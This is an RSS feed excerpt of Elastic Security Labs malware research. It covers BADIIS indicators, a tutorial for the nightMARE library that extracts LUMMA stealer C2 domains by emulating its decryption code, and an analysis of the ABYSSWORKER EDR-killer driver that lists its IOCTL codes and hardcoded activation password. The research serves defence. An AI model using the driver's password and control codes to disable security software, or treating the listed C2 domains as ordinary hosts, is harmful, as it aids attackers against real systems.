<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BADIIS config server (primary)</td>
</tr>
<tr>
<td align="left"><code>jbtz003[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BADIIS config server (legacy)</td>
</tr>
<tr>
<td align="left"><code>gotz001[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BADIIS SEO content and backlinks server (primary)</td>
</tr>
<tr>
<td align="left"><code>jbtz001[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BADIIS SEO content and backlinks server (primary)</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud/">https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud</a></li>
<li><a href="https://blog.talosintelligence.com/uat-8099-new-persistence-mechanisms-and-regional-focus/">https://blog.talosintelligence.com/uat-8099-new-persistence-mechanisms-and-regional-focus/</a></li>
<li><a href="https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html">https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/photo-edited-05.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[NightMARE on 0xelm Street, a guided tour]]></title>
            <link>https://www.elastic.co/pt/security-labs/nightmare-on-0xelm-street</link>
            <guid>nightmare-on-0xelm-street</guid>
            <pubDate>Tue, 14 Oct 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[This article describes nightMARE, a python-based library for malware researchers that was developed by Elastic Security Labs to help scale analysis. It describes how we use nightMARE to develop malware configuration extractors and carve out intelligence indicators.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Since the creation of Elastic Security Labs, we have focused on developing malware analysis tools to not only aid in our research and analysis, but also to release to the public. We want to give back to the community and give back as much as we get from it. In an effort to make these tools more robust and reduce code duplication, we created the Python library <a href="https://github.com/elastic/nightMARE">nightMARE</a>. This library brings together various useful features for reverse engineering and malware analysis. We primarily use it to create our configuration extractors for different widespread malware families, but nightMARE is a library that can be applied to multiple use cases.</p>
<p>With the release of version 0.16, we want to officially introduce the library and provide details in this article on some interesting features offered by this module, as well as a short tutorial explaining how to use it to implement your own configuration extractor compatible with the latest version of LUMMA (as of the post date).</p>
<h2>nightMARE features tour</h2>
<h3>Powered by Rizin</h3>
<p>To reproduce the capabilities of popular disassemblers, nightMARE initially used a set of Python modules to perform the various tasks necessary for static analysis. For example, we used <a href="https://github.com/lief-project/LIEF">LIEF</a> for executable parsing (PE, ELF), <a href="https://github.com/capstone-engine/capstone">Capstone</a> to disassemble binaries, and <a href="https://github.com/danielplohmann/smda">SMDA</a> to obtain cross-reference (xref) analysis.</p>
<p>These numerous dependencies made maintaining the library more complex than necessary. That's why, in order to reduce the use of third-party modules as much as possible, we decided to use the most comprehensive reverse engineering framework available. Our choice naturally gravitated towards Rizin.</p>
<p><a href="https://github.com/rizinorg/rizin">Rizin</a> is an open-source reverse engineering software, forked from the Radare2 project. Its speed, modular design, and almost infinite set of features based on its Vim-like commands make it an excellent backend choice. We integrated it into the project using the <a href="https://github.com/rizinorg/rz-pipe">rz-pipe</a> module, which makes it very easy to create and instrument a Rizin instance from Python.</p>
<h3>Project structure</h3>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image12.png" alt="Project structure" /></p>
<p>The project is structured along three axes:</p>
<ul>
<li>The &quot;analysis&quot; module contains sub-modules useful for static analysis.</li>
<li>The &quot;core&quot; module contains commonly useful sub-modules: bitwise operations, integer casting, and recurring regexes for configuration extraction.</li>
<li>The &quot;malware&quot; module contains all algorithm implementations (crypto, unpacking, configuration extraction, etc.), grouped by malware family and, when applicable, by version.</li>
</ul>
<h3>Analysis modules</h3>
<p>For static binary analysis, this module offers two complementary working techniques: disassembly and instruction analysis with Rizin via the reversing module, and instruction emulation via the emulation module.</p>
<p>For example, when constants are manually moved onto the stack, instead of trying to analyze the instructions one by one to retrieve the immediates, it is possible to emulate the entire piece of code and read the data on the stack once the processing is done.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image6.png" alt="LUMMA manually pushes Steam profile data for decryption" /></p>
<p>Another example that we will see later in this article is that, in the case of cryptographic functions, if it is complex, it is often simpler to directly call it in the binary using emulation than to try to implement it manually.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image10.png" alt="Calling LUMMA C2 decryption function" /></p>
<h4>Reversing module</h4>
<p>This module contains the Rizin class, which is an abstraction of Rizin's functionalities that send commands directly to Rizin thanks to <code>rz-pipe</code> and offers the user an incredible amount of analysis power for free. Because it’s an abstraction, the functions that the class exposes can be easily used in a script without prior knowledge of the framework.</p>
<p>Although this class exposes a lot of different features, we are not trying to be exhaustive. The goal is to reduce duplicated code for recurring functionalities across all our tools. However, if a user finds that a function is missing, they can directly interact with the <code>rz-pipe</code> object to send commands to Rizin and achieve their goals.</p>
<p>Here is a short list of the functions we use the most:</p>
<pre><code class="language-py"># Disassembling
def disassemble(self, offset: int, size: int) -&gt; list[dict[str, typing.Any]]
def disassemble_previous_instruction(self, offset: int) -&gt; dict[str, typing.Any]
def disassemble_next_instruction(self, offset: int) -&gt; dict[str, typing.Any]

# Pattern matching
def find_pattern(
    self, 
    pattern: str,
    pattern_type: Rizin.PatternType) -&gt; list[dict[str, typing.Any]]
def find_first_pattern(
    self,
    patterns: list[str],
    pattern_type: Rizin.PatternType) -&gt; int

# Reading bytes
def get_data(self, offset: int, size: int | None = None) -&gt; bytes
def get_string(self, offset: int) -&gt; bytes

# Reading words
def get_u8(self, offset: int) -&gt; int
...
def get_u64(self, offset: int) -&gt; int

# All strings, functions
def get_strings(self) -&gt; list[dict[str, typing.Any]]
def get_functions(self) -&gt; list[dict[str, typing.Any]]

# Xrefs
def get_xrefs_from(self, offset: int) -&gt; list
def get_xrefs_to(self, offset: int) -&gt; list[int]
</code></pre>
<h4>Emulation module</h4>
<p>In version 0.16, we reworked the emulation module to take full advantage of Rizin's capabilities to perform its various data-related tasks. Under the hood, it’s using the <a href="https://www.unicorn-engine.org/">Unicorn engine</a> to perform emulation.</p>
<p>For now, this module only offers a &quot;light&quot; PE emulation with the class WindowsEmulator, light in the sense that only the strict minimum is done to load a PE. No relocations, no DLLs, no OS emulation. The goal is not to completely emulate a Windows executable like <a href="https://github.com/qilingframework/qiling">Qiling</a> or <a href="https://github.com/momo5502/sogen">Sogen</a>, but to offer a simple way to execute code snippets or short sequences of functions while knowing its limitations.</p>
<p>The WindowsEmulator class offers several useful abstractions.</p>
<pre><code class="language-py"># Load PE and its stack
def load_pe(self, pe: bytes, stack_size: int) -&gt; None

# Manipulate stack
def push(self, x: int) -&gt; None
def pop(self) -&gt; int

# Simple memory management mechanisms
def allocate_memory(self, size: int) -&gt; int
def free_memory(self, address: int, size: int) -&gt; None

# Direct ip and sp manipulation
@property
def ip(self) -&gt; int
@property
def sp(self) -&gt; int

# Emulate call and ret
def do_call(self, address: int, return_address: int) -&gt; None
def do_return(self, cleaning_size: int = 0) -&gt; None

# Direct unicorn access
@property
def unicorn(self) -&gt; unicorn.Uc
</code></pre>
<p>The class allows the registration of two types of hooks: normal unicorn hooks and IAT hooks.</p>
<pre><code class="language-py"># Set unicorn hooks, however the WindowsEmulator instance get passed to the callback instead of unicorn
def set_hook(self, hook_type: int, hook: typing.Callable) -&gt; int:

# Set hook on import call
def enable_iat_hooking(self) -&gt; None:
def set_iat_hook(
        self,
        function_name: bytes,
        hook: typing.Callable[[WindowsEmulator, tuple, dict[str, typing.Any]], None],
) -&gt; None:
</code></pre>
<p>As a usage example, we use the Windows binary <a href="https://www.virustotal.com/gui/file/e36bcf02bc11f560761e943d0fad37417078f6cbb473f85c72fcbc89e2600c58"><code>DismHost.exe</code></a> .</p>
<p>The binary uses the Sleep import at address <code>0x140006404</code>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image3.png" alt="DimHost.exe calls Kernel32 Sleep +0x6404" /></p>
<p>We will therefore create a script that registers an IAT hook for the Sleep import, starts the emulation execution at address <code>0x140006404</code>, and ends at address <code>0x140006412</code>.</p>
<pre><code class="language-py"># coding: utf-8

import pathlib

from nightMARE.analysis import emulation


def sleep_hook(emu: emulation.WindowsEmulator, *args) -&gt; None:
    print(
        &quot;Sleep({} ms)&quot;.format(
            emu.unicorn.reg_read(emulation.unicorn.x86_const.UC_X86_REG_RCX)
        ),
    )
    emu.do_return()


def main() -&gt; None:
    path = pathlib.Path(r&quot;C:\Windows\System32\Dism\DismHost.exe&quot;)
    emu = emulation.WindowsEmulator(False)
    emu.load_pe(path.read_bytes(), 0x10000)
    emu.enable_iat_hooking()
    emu.set_iat_hook(&quot;KERNEL32.dll!Sleep&quot;, sleep_hook)
    emu.unicorn.emu_start(0x140006404, 0x140006412)


if __name__ == &quot;__main__&quot;:
    main()

</code></pre>
<p>It is important to note that the hook function must necessarily return with the <code>do_return</code> function so that we can reach the address located after the call.</p>
<p>When the emulator starts, our hook is correctly executed.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image1.png" alt="Sleep hook execution" /></p>
<h3>Malware module</h3>
<p>The malware module contains all the algorithm implementations for each malware family we cover. These algorithms can cover configuration extraction, cryptographic functions, or sample unpacking, depending on the type of malware. All these algorithms use the functionalities of the analysis module to do their job and provide good examples of how to use the library.</p>
<p>With the release of v0.16, here are the different malware families that we cover.</p>
<pre><code>blister
deprecated
ghostpulse
latrodectus
lobshot
lumma
netwire
redlinestealer
remcos
smokeloader
stealc
strelastealer
xorddos
</code></pre>
<p>The complete implementation of the LUMMA algorithms we cover in the next chapter tutorial can be found under the LUMMA sub-module.</p>
<p>Please take note that the rapidly evolving nature of malware makes maintaining these modules difficult, but we welcome any help to the project, direct contribution, or opening issues.</p>
<h2>Example: LUMMA configuration-extraction</h2>
<p>LUMMA STEALER, also known as LUMMAC2, is an information-stealing malware still widely used in infection campaigns despite a recent takedown operation in May 2025. This malware incorporates control flow obfuscation and data encryption, making it more challenging to analyze both statically and dynamically.</p>
<p>In this section, we will use the following unencrypted sample as reference: <a href="https://www.virustotal.com/gui/file/26803ff0e079e43c413e10d9a62d344504a134d20ad37af9fd3eaf5c54848122">26803ff0e079e43c413e10d9a62d344504a134d20ad37af9fd3eaf5c54848122</a></p>
<p>We do a short analysis of how it decrypts its domain names step by step, and then demonstrate along the way how we build the configuration extractor using nightMARE.</p>
<h3>Step 1: Initializing the ChaCha20 context</h3>
<p>In this version, LUMMA performs the initialization of its cryptographic context after loading <code>WinHTTP.dll</code>, with the decryption key and nonce; this context will be reused for each call to the <code>ChaCha20</code> decryption function without being reinitialized. The nuance here is that an internal counter within the context is updated with each use, so later we’ll need to take into account the value of this counter before the first domain decryption and then decrypt them in the correct order.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image2.png" alt="" /><br />
<img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image8.png" alt="LUMMA initialize its ChaCha20 context with key and nonce +0xDC0D" /></p>
<p>To reproduce this step in our script, we need to collect the key and nonce. The problem is that we don't know their location in advance, but we know where they are used. We pattern match this part of the code, then extract the addresses <code>g_key_0 (key)</code> and <code>g_key_1 (nonce)</code> from the instructions.</p>
<pre><code class="language-py">CRYPTO_SETUP_PATTERN = &quot;b838?24400b???????00b???0???0096f3a5&quot;

def get_decryption_key_and_nonce(binary: bytes) -&gt; tuple[bytes, bytes]:
    # Load the binary in Rizin
    rz = reversing.Rizin.load(binary)

    # Find the virtual address of the pattern
    if not (
        x := rz.find_pattern(
            CRYPTO_SETUP_PATTERN, reversing.Rizin.PatternType.HEX_PATTERN
        )
    ):
        raise RuntimeError(&quot;Failed to find crypto setup pattern virtual address&quot;)

    # Extract the key and nonce address from the instruction second operand
    crypto_setup_va = x[0][&quot;address&quot;]
    key_and_nonce_address = rz.disassemble(crypto_setup_va, 1)[0][&quot;opex&quot;][&quot;operands&quot;][
        1
    ][&quot;value&quot;]

    # Return the key and nonce data
    return rz.get_data(key_and_nonce_address, CHACHA20_KEY_SIZE), rz.get_data(
        key_and_nonce_address + CHACHA20_KEY_SIZE, CHACHA20_NONCE_SIZE
    )

def build_crypto_context(key: bytes, nonce: bytes, initial_counter: int) -&gt; bytes:
    crypto_context = bytearray(0x40)
    crypto_context[0x10:0x30] = key
    crypto_context[0x30] = initial_counter
    crypto_context[0x38:0x40] = nonce
    return bytes(crypto_context)
</code></pre>
<h3>Step 2: Locate the decryption function</h3>
<p>In this version, LUMMA's decryption function is easily located across samples as it is utilized immediately after loading WinHTTP imports.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image5.png" alt="LUMMA calls for the first time the decryption function +0xdd82" /></p>
<p>We derive the hex pattern from the first bytes of the function to locate it in our script:</p>
<pre><code class="language-py">DECRYPTION_FUNCTION_PATTERN = &quot;5553575681ec1?0100008b??243?01000085??0f84??080000&quot;

def get_decryption_function_address(binary) -&gt; int:
    # A cache system exist so the binary is only loaded once, then we get the same instance of Rizin :)
    if x := reversing.Rizin.load(binary: bytes).find_pattern(
        DECRYPTION_FUNCTION_PATTERN, reversing.Rizin.PatternType.HEX_PATTERN
    ):
        return x[0][&quot;address&quot;]
    raise RuntimeError(&quot;Failed to find decryption function address&quot;)
</code></pre>
<h3>Step 3: Locate the encrypted domain's base address</h3>
<p>By using xrefs from the decryption function, which is not called with obfuscated indirection like other LUMMA functions, we can easily find where it is called to decrypt the domains.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image7.png" alt="LUMMA domain decryption location +0xF468" /></p>
<p>As with the first step, we will use the instructions to discover the base address of the encrypted domains in the binary:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image11.png" alt="LUMMA loads domain base address in the eax register +0xF476" /></p>
<pre><code class="language-py">C2_LIST_MAX_LENGTH = 0xFF
C2_SIZE = 0x80
C2_DECRYPTION_BRANCH_PATTERN = &quot;8d8?e0?244008d7424??ff3?565?68????4500e8????ffff&quot;

def get_encrypted_c2_list(binary: bytes) -&gt; list[bytes]:
    rz = reversing.Rizin.load(binary)
    address = get_encrypted_c2_list_address(binary)
    encrypted_c2 = []
    for ea in range(address, address + (C2_LIST_MAX_LENGTH * C2_SIZE), C2_SIZE):
        encrypted_c2.append(rz.get_data(ea, C2_SIZE))
    return encrypted_c2


def get_encrypted_c2_list_address(binary: bytes) -&gt; int:
    rz = reversing.Rizin.load(binary)
    if not len(
        x := rz.find_pattern(
            C2_DECRYPTION_BRANCH_PATTERN, reversing.Rizin.PatternType.HEX_PATTERN
        )
    ):
        raise RuntimeError(&quot;Failed to find c2 decryption pattern&quot;)

    c2_decryption_va = x[0][&quot;address&quot;]
    return rz.disassemble(c2_decryption_va, 1)[0][&quot;opex&quot;][&quot;operands&quot;][1][&quot;disp&quot;]
</code></pre>
<h3>Step 4: Decrypt domains using emulation</h3>
<p>A quick analysis of the decryption function shows that this version of LUMMA uses a slightly customized version of <code>ChaCha20</code>. We recognize the same small and diverse decryption functions scattered throughout the binaries. Here, they are used to decrypt parts of the <code>ChaCha20</code> &quot;expand 32-byte k&quot; constant, which are then XOR-ROL derived before being stored in the context structure.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image4.png" alt="LUMMA decrypting/reencrypting the “expand 32-byte k” constant +0xC6CE" /></p>
<p>While we could implement the decryption function in our script, we have all the necessary addresses to demonstrate how we can directly call the function already present in the binary to decrypt our domains, using nightMARE's emulation module.</p>
<pre><code class="language-py"># We need the right initial value, before decrypting the domain
# the function is already called once so 0 -&gt; 2
CHACHA20_INITIAL_COUNTER = 2

def decrypt_c2_list(
    binary: bytes, encrypted_c2_list: list[bytes], key: bytes, nonce: bytes
) -&gt; list[bytes]:
    # Get the decryption function address (step 2)
    decryption_function_address = get_decryption_function_address(binary)

    # Load the emulator, True = 32bits
    emu = emulation.WindowsEmulator(True)
 
    # Load the PE in the emulator with a stack of 0x10000 bytes
    emu.load_pe(binary, 0x10000)
    
    # Allocate the chacha context
    chacha_ctx_address = emu.allocate_memory(CHACHA20_CTX_SIZE)
    
    # Write at the chacha context address the crypto context
    emu.unicorn.mem_write(
        chacha_ctx_address,
        build_crypto_context(
            key,
            nonce,
            CHACHA20_INITIAL_COUNTER, 
        ),
    )

    decrypted_c2_list = []
    for encrypted_c2 in encrypted_c2_list:
	 # Allocate buffers
        encrypted_buffer_address = emu.allocate_memory(C2_SIZE)
        decrypted_buffer_address = emu.allocate_memory(C2_SIZE)
        
        # Write encrypted c2 to buffer
        emu.unicorn.mem_write(encrypted_buffer_address, encrypted_c2)

        # Push arguments
        emu.push(C2_SIZE)
        emu.push(decrypted_buffer_address)
        emu.push(encrypted_buffer_address)
        emu.push(chacha_ctx_address)
 
        # Emulate a call
        emu.do_call(decryption_function_address, emu.image_base)

        # Fire!
        emu.unicorn.emu_start(decryption_function_address, emu.image_base)

        # Read result from decrypted buffer
        decrypted_c2 = bytes(
            emu.unicorn.mem_read(decrypted_buffer_address, C2_SIZE)
        ).split(b&quot;\x00&quot;)[0]

        # If result isn't printable we stop, no more domain
        if not bytes_re.PRINTABLE_STRING_REGEX.match(decrypted_c2):
            break

        # Add result to the list
        decrypted_c2_list.append(b&quot;https://&quot; + decrypted_c2)

        # Clean up the args
        emu.pop()
        emu.pop()
        emu.pop()
        emu.pop()

        # Free buffers
        emu.free_memory(encrypted_buffer_address, C2_SIZE)
        emu.free_memory(decrypted_buffer_address, C2_SIZE)

       # Repeat for the next one ...

    return decrypted_c2_list
</code></pre>
<h3>Result</h3>
<p>Finally, we can run our module with <code>pytest</code> and view the LUMMA C2 list (<code>decrypted_c2_list</code>):</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/image9.png" alt="Pytest execution result" /></p>
<pre><code>https://mocadia[.]com/iuew  
https://mastwin[.]in/qsaz  
https://ordinarniyvrach[.]ru/xiur  
https://yamakrug[.]ru/lzka  
https://vishneviyjazz[.]ru/neco  
https://yrokistorii[.]ru/uqya  
https://stolevnica[.]ru/xjuf  
https://visokiykaf[.]ru/mntn  
https://kletkamozga[.]ru/iwqq 
</code></pre>
<p>This example highlights how the nightMARE library can be used for binary analysis, specifically, for extracting the configuration from the LUMMA stealer.</p>
<h2>Download nightMARE</h2>
<p>The complete implementation of the code presented in this article is <a href="https://github.com/elastic/nightMARE/blob/main/nightMARE/malware/lumma/configuration.py">available here</a>.</p>
<h2>Conclusion</h2>
<p>nightMARE is a versatile Python module, based on the best tools the open source community has to offer. With the release of version 0.16 and this short article, we hope to have demonstrated its capabilities and potential.</p>
<p>Internally, the project is at the heart of various even more ambitious projects, and we will continue to maintain nightMARE to the best of our abilities.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/nightmare-on-0xelm-street/Security Labs Images 31.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Shedding light on the ABYSSWORKER driver]]></title>
            <link>https://www.elastic.co/pt/security-labs/abyssworker</link>
            <guid>abyssworker</guid>
            <pubDate>Thu, 20 Mar 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs describes ABYSSWORKER, a malicious driver used with the MEDUSA ransomware attack-chain to disable anti-malware tools.]]></description>
            <content:encoded><![CDATA[<h1>Summary</h1>
<p>Cybercriminals are increasingly bringing their own drivers — either exploiting a vulnerable legitimate driver or using a custom-built driver to disable endpoint detection and response (EDR) systems and evade detection or prevention capabilities.</p>
<p>Elastic Security Labs has monitored a financially motivated campaign deploying MEDUSA ransomware through the use of a <a href="https://unit42.paloaltonetworks.com/packer-as-a-service-heartcrypt-malware/">HEARTCRYPT</a>-packed loader. This loader was deployed alongside a revoked certificate-signed driver from a Chinese vendor we call ABYSSWORKER, which it installs on the victim machine and then uses to target and silence different EDR vendors. This EDR-killer driver was <a href="https://www.linkedin.com/pulse/attackers-leveraging-microsoft-teams-defaults-quick-assist-p1u5c/">recently reported</a> by ConnectWise in another campaign, using a different certificate and IO control codes, at which time some of its capabilities were discussed. In 2022, Google Cloud Mandiant disclosed a malicious driver called <a href="https://cloud.google.com/blog/topics/threat-intelligence/hunting-attestation-signed-malware/">POORTRY</a> which we believe is the earliest mention of this driver.</p>
<p>In this article, we take an in-depth look at this driver, examining its various features and techniques. We also provide relative virtual addresses (RVA) under each reversed code screenshot to link the research with the reference sample, along with a small client example that you can use to further experiment with this malware.</p>
<h1>Technical Analysis</h1>
<h2>PE header</h2>
<p>The binary is a 64-bit Windows PE driver named <code>smuol.sys</code>, and imitates a legitimate CrowdStrike Falcon driver.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image5.png" alt="ABYSSWORKER driver PE header description" /></p>
<p>At the time of analysis, we found a dozen samples on VirusTotal, dating from 2024-08-08 to 2025-02-24. Most were VMProtect packed, but two — referenced in the observable tables below — weren’t protected.</p>
<p>All samples are signed using likely stolen, revoked certificates from Chinese companies. These certificates are widely known and shared across different malware samples and campaigns but are not specific to this driver. The certificate fingerprints are listed below:</p>
<table>
<thead>
<tr>
<th align="left">Fingerprint</th>
<th align="left">Name</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>51 68 1b 3c 9e 66 5d d0 b2 9e 25 71 46 d5 39 dc</code></td>
<td align="left">Foshan Gaoming Kedeyu Insulation Materials Co., Ltd</td>
</tr>
<tr>
<td align="left"><code>7f 67 15 0f bb 0d 25 4e 47 42 84 c7 f7 81 9c 4f</code></td>
<td align="left">FEI XIAO</td>
</tr>
<tr>
<td align="left"><code>72 88 1f 10 cd 24 8a 33 e6 12 43 a9 e1 50 ec 1d</code></td>
<td align="left">Fuzhou Dingxin Trade Co., Ltd.</td>
</tr>
<tr>
<td align="left"><code>75 e8 e7 b9 04 3b 13 df 60 e7 64 99 66 30 21 c1</code></td>
<td align="left">Changsha Hengxiang Information Technology Co., Ltd</td>
</tr>
<tr>
<td align="left"><code>03 93 47 e6 1d ec 6f 63 98 d4 d4 6b f7 32 65 6c</code></td>
<td align="left">Xinjiang Yishilian Network Technology Co., Ltd</td>
</tr>
<tr>
<td align="left"><code>4e fa 7e 7b ba 65 ec 1a b7 74 f2 b3 13 57 d5 99</code></td>
<td align="left">Shenzhen Yundian Technology Co., Ltd</td>
</tr>
</tbody>
</table>
<h2>Obfuscation</h2>
<p>ABYSSWORKER uses functions that always return the same value, relying on a combination of opaque predicates and other derivation functions. For example, the zero-returning function below always returns a <code>0</code> based on hardcoded derived values.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image7.png" alt="Zero-Returning function 0x3238" /></p>
<p>Below is one of the derivation functions:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image26.png" alt="Derivation function 0xF0B4" /></p>
<p>These constant-returning functions are called repeatedly throughout the binary to hinder static analysis. However, there are only three such functions, and they aren't used in any predicate but are simply called. We can easily identify them, making this an inefficient obfuscation scheme.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image20.png" alt="Example of constant-returning function calls 0x10D2" /></p>
<h2>Initialization</h2>
<p>Upon initialization, the driver begins by obtaining pointers to several kernel modules and its client protection feature, which will be discussed in the following sections.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image35.png" alt="Loading pointers on kernel modules 0x63E2" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image28.png" alt="Initializing client protection feature 0x65c3" /></p>
<p>Then, it creates a device with the path <code>\\device\\czx9umpTReqbOOKF</code> and a symbolic link with the path <code>\\??\\fqg0Et4KlNt4s1JT</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image11.png" alt="Creating device 0x2F45" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image17.png" alt="Creating symbolic link 0x2FDA" /></p>
<p>It completes initialization by registering callbacks for its major functions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image14.png" alt="Registering driver major functions callbacks 0x3067" /></p>
<h2>Client protection on device opening</h2>
<p>When the driver device is opened, the <code>IRP_MJ_CREATE</code> major callback is called. This function is responsible for adding the process ID to the list of processes to protect and for stripping any pre-existing handles to the target process from the list of running processes.</p>
<p>The function retrieves the process ID from the current kernel thread since the kernel callback is executed in the context of the client process when the device is opened.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image33.png" alt="Get client PID from current thread 0x138B" /></p>
<p>Before adding the process ID to the protection list, ABYSSWORKER searches for and strips any existing handles to the client process in other running processes.</p>
<p>To achieve this, the malware iterates over existing processes by brute-forcing their Process IDs (PIDs) to avoid reliance on any API. For each process, it iterates over their handles, also using brute force, and checks if the underlying object corresponds to the client process. If a match is found, it strips the access rights using the value passed as a parameter (<code>0x8bb</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image21.png" alt="ABYSSWORKER stripping existing handles to the client from other processes 0x9EDB" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image4.png" alt="ABYSSWORKER setting access rights of client handle if found in process 0xA691" /></p>
<p>Finally, it adds the PID to the global list of protected processes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image22.png" alt="Client PID is added to the global protected processes list 0x9F43" /></p>
<p>As mentioned earlier, the driver sets up its protection feature during the initialization phase. This protection relies on registering two <code>pre-operation</code> callbacks using the <code>ObRegisterCallback</code> API: one to detect the opening of handles to its protected processes and another to detect the opening of handles to the threads of those protected processes.</p>
<p>The two callbacks operate in the same way: they set the desired access for the handle to zero, effectively denying the creation of the handle.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image18.png" alt="Registration of callbacks to catch thread and process opening to protected client 0xA2B0" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image10.png" alt="Denying access to protected process handle 0xA0A6" /></p>
<h2>DeviceIoControl handlers</h2>
<p>Upon receiving a device I/O control request, ABYSSWORKER dispatches the request to handlers based on the I/O control code. These handlers cover a wide range of operations, from file manipulation to process and driver termination, providing a comprehensive toolset that can be used to terminate or permanently disable EDR systems.</p>
<p>We detail the different IO controls in the table below:</p>
<table>
<thead>
<tr>
<th align="left">Name</th>
<th align="left">Code</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Enable malware</td>
<td align="left"><code>0x222080</code></td>
</tr>
<tr>
<td align="left">Copy file</td>
<td align="left"><code>0x222184</code></td>
</tr>
<tr>
<td align="left">Remove callbacks and devices by module name</td>
<td align="left"><code>0x222400</code></td>
</tr>
<tr>
<td align="left">Replace driver major functions by module name</td>
<td align="left"><code>0x222404</code></td>
</tr>
<tr>
<td align="left">Kill system threads by module name</td>
<td align="left"><code>0x222408</code></td>
</tr>
<tr>
<td align="left">Detach mini filter devices</td>
<td align="left"><code>0x222440</code></td>
</tr>
<tr>
<td align="left">Delete file</td>
<td align="left"><code>0x222180</code></td>
</tr>
<tr>
<td align="left">Disable malware</td>
<td align="left"><code>0x222084</code></td>
</tr>
<tr>
<td align="left">Load api</td>
<td align="left"><code>0x2220c0</code></td>
</tr>
<tr>
<td align="left">Decrease all drivers reference counter</td>
<td align="left"><code>0x222100</code></td>
</tr>
<tr>
<td align="left">Decrease all devices reference counter</td>
<td align="left"><code>0x222104</code></td>
</tr>
<tr>
<td align="left">Terminate process</td>
<td align="left"><code>0x222144</code></td>
</tr>
<tr>
<td align="left">Terminate thread</td>
<td align="left"><code>0x222140</code></td>
</tr>
<tr>
<td align="left">Removing hooks from Ntfs and Pnp drivers' major functions</td>
<td align="left"><code>0x222444</code></td>
</tr>
<tr>
<td align="left">Reboot</td>
<td align="left"><code>0x222664</code></td>
</tr>
</tbody>
</table>
<h3>Enabling the malware (0x222080)</h3>
<p>As discussed in this <a href="https://www.linkedin.com/pulse/attackers-leveraging-microsoft-teams-defaults-quick-assist-p1u5c/">blog post</a>, the client must enable the driver by sending a password (<code>7N6bCAoECbItsUR5-h4Rp2nkQxybfKb0F-wgbJGHGh20pWUuN1-ZxfXdiOYps6HTp0X</code>) to the driver, in our case it’s through the <code>0x222080</code> IO control.</p>
<p>The handler simply compares the user input with the hardcoded password. If correct, it sets a global flag to true (1). This flag is checked in all other handlers to permit or deny execution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image1.png" alt="Hardcoded password 0x12000" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image3.png" alt="Enabling malware if the password is correct 0x184B" /></p>
<h3>Loading the API (0x2220c0)</h3>
<p>Most handlers in the malware rely on kernel APIs that must be loaded using this handler. This handler loads these globals along with several structures, using the kernel module pointers previously loaded during initialization. Once the loading is complete, a global flag is set to signal the availability of these APIs.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image29.png" alt="Set the global flag to 1 once the API is loaded 0x1c28" /></p>
